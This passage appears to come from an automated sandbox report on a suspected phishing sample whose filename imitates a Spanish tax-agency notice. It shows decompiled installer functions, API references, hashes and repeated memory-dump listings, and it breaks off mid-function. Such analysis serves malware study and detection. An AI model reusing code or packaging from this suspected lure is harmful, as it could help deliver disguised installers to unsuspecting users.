Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6eb76b24ce870ef992c4327a1b2b518c4e6cabc1d7ccad815c10311b33b2bb2a
Instruction ID: 129b57beed9750de1dc8ac5f086523220a35585882bce30df6ddda6966387252
Opcode Fuzzy Hash: 6eb76b24ce870ef992c4327a1b2b518c4e6cabc1d7ccad815c10311b33b2bb2a
Instruction Fuzzy Hash: DFD01272B04104DBDB51DBE4AF0859D72A5AB50364B208577E101F11D1DABD89549B19

Uniqueness

Uniqueness Score: -1.00%

Function 004041F4 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041F4(intOrPtr _a12) {
				intOrPtr _v0;
				struct HWND__* _v4;
				int _t7;
				void* _t8;
				void* _t9;
				void* _t10;

				_t7 = SetDlgItemTextW(_v4, _v0 + 0x3e8, E00406281(_t8, _t9, _t10, 0, _a12)); // executed
				return _t7;
			}

0x0040420e
0x00404213

APIs

SetDlgItemTextW.USER32(?,?,00000000), ref: 0040420E

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 73c06e2a9123b891731a7ebfb9029f8f008127f7581a586f7a1d4e0a57963b9e
Instruction ID: f5da9590e85ea14362a2b992ac95bea4d8dfad4da802ef44e2657ae46e782bfa
Opcode Fuzzy Hash: 73c06e2a9123b891731a7ebfb9029f8f008127f7581a586f7a1d4e0a57963b9e
Instruction Fuzzy Hash: 13C04C76548200BFD682B755CC42F1FB799EF94315F04C52EB59DE11D1CA3584319A26

Uniqueness

Uniqueness Score: -1.00%

Function 00404240 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404240(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x7a79f8; // 0x103ca
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x00404240
0x00404247
0x00404252
0x00000000
0x00404252
0x00404258

APIs

SendMessageW.USER32(000103CA,00000000,00000000,00000000), ref: 00404252

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: cb0b7ebd38eb4799b8f4196fcc58e5a20f32a56ef1c2a101366cf6dcdfe2cd36
Instruction ID: 05de0a4d5a0d3ad16659c86bea74b86f68b6b4ad9b47f793b7e3caf381fa8301
Opcode Fuzzy Hash: cb0b7ebd38eb4799b8f4196fcc58e5a20f32a56ef1c2a101366cf6dcdfe2cd36
Instruction Fuzzy Hash: 10C09BB17843017BDE109B509D49F0777585BE0741F15857D7350F50E0C674E450D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403308 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403308(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403316
0x0040331c

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00403088,?,?,00000006,00000008,0000000A), ref: 00403316

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404229 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404229(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x7a8a28, 0x28, _a4, 1); // executed
				return _t2;
			}

0x00404237
0x0040423d

APIs

SendMessageW.USER32(00000028,?,00000001,00404054), ref: 00404237

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Uniqueness

Uniqueness Score: -1.00%

Function 00404216 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404216(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x7a1f1c, _a4); // executed
				return _t2;
			}

0x00404220
0x00404226

APIs

KiUserCallbackDispatcher.NTDLL(?,00403FED), ref: 00404220

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: efc6552eadcfffb9f020cd3683497eb6feb0237cfd1954b00ec8dcd11a4bd103
Instruction ID: 2198674f4dd135e02f2a8ae7056ebba5a8e761495b22eeaea90ee2a366c7106d
Opcode Fuzzy Hash: efc6552eadcfffb9f020cd3683497eb6feb0237cfd1954b00ec8dcd11a4bd103
Instruction Fuzzy Hash: 0AA002754455409FDF015B50EF048057A61B7E5741B61C469A25551074C7354461EB19

Uniqueness

Uniqueness Score: -1.00%

Function 00401F00 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401F00() {
				void* _t9;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402C37(_t15);
				E004052C3(0xffffffeb, _t7); // executed
				_t9 = E00405844(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x20)) != _t15) {
						_t13 = E004066EA(_t17, _t20);
						if( *((intOrPtr*)(_t22 - 0x24)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E004061A6( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401f06
0x00401f0b
0x00401f11
0x00401f16
0x00401f1a
0x00402885
0x00401f20
0x00401f23
0x00401f26
0x00401f2e
0x00401f3d
0x00401f3f
0x00401f3f
0x00401f30
0x00401f34
0x00401f34
0x00401f2e
0x00401f46
0x00401f47
0x00401f47
0x00402ac2
0x00402ace

APIs

Part of subcall function 004052C3: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
Part of subcall function 004052C3: lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
Part of subcall function 004052C3: lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
Part of subcall function 004052C3: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
Part of subcall function 004052C3: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
Part of subcall function 004052C3: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
Part of subcall function 004052C3: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

Part of subcall function 00405844: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 0040586D
Part of subcall function 00405844: CloseHandle.KERNEL32(?), ref: 0040587A

CloseHandle.KERNEL32(?,?,?,?,?,?,?), ref: 00401F47

Part of subcall function 004066EA: WaitForSingleObject.KERNEL32(?,00000064,00000000,00000000,?,?,00401EFB,?,?,?,?,?,?), ref: 004066FB
Part of subcall function 004066EA: GetExitCodeProcess.KERNEL32(?,?), ref: 0040671D

Part of subcall function 004061A6: wsprintfW.USER32 ref: 004061B3

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 9645f34456babddffe365cced8570490a305f219a8dabac6956c86f0a67676f6
Instruction ID: 4cd38a76db1ec19436dc127f491775ffefe8ed04147ea9162fb687742d6809c2
Opcode Fuzzy Hash: 9645f34456babddffe365cced8570490a305f219a8dabac6956c86f0a67676f6
Instruction Fuzzy Hash: 63F09032905111DBCF20FBA19E849DE66B4AF01328B25457BF501F61D1C77C4E518AAE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404C3F Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00404C3F(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				intOrPtr _t195;
				intOrPtr _t197;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t276;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageW;
				_v20 =  *0x7a8a68;
				_t282 = 0;
				_v24 =  *0x7a8a34 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x7a8a3d & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe39) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E00404B8D(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x818 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x7a8a3c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x7a1f04;
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x7a1f18;
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x7a1f04 = _t282;
								 *0x7a1f18 = _t282;
								 *0x7a8aa0 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x7a8a3d & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E00404C0D();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_v32 =  *0x7a1f18;
									_t195 =  *0x7a8a68;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x7a8a6c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, 1);
										_t197 =  *0x7a79fc; // 0xb5eb9a
										if( *((intOrPtr*)(_t197 + 0x10)) != _t282) {
											E00404B48(0x3ff, 0xfffffffb, E00404B60(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_push("true");
												_pop(_t205);
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageW(_v8, 0x113f, _t282,  &_v72);
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x206]);
									} while (_v20 <  *0x7a8a6c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x7a1f18);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageW(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageW(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageW(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageW(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x7a8aa0 = _t306;
					 *0x7a1f18 = GlobalAlloc(0x40,  *0x7a8a6c << 2);
					_t252 = LoadBitmapW( *0x7a8a20, 0x6e);
					 *0x7a1f0c =  *0x7a1f0c | 0xffffffff;
					_t313 = _t252;
					 *0x7a1f14 = SetWindowLongW(_v8, 0xfffffffc, E00405237);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x7a1f04 = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x7a1f04);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, _t282, E00406281(_t282, _t314, _t318, _t282, _t260)), _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E004041F4(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E004041F4(_a4);
					_t316 = 0;
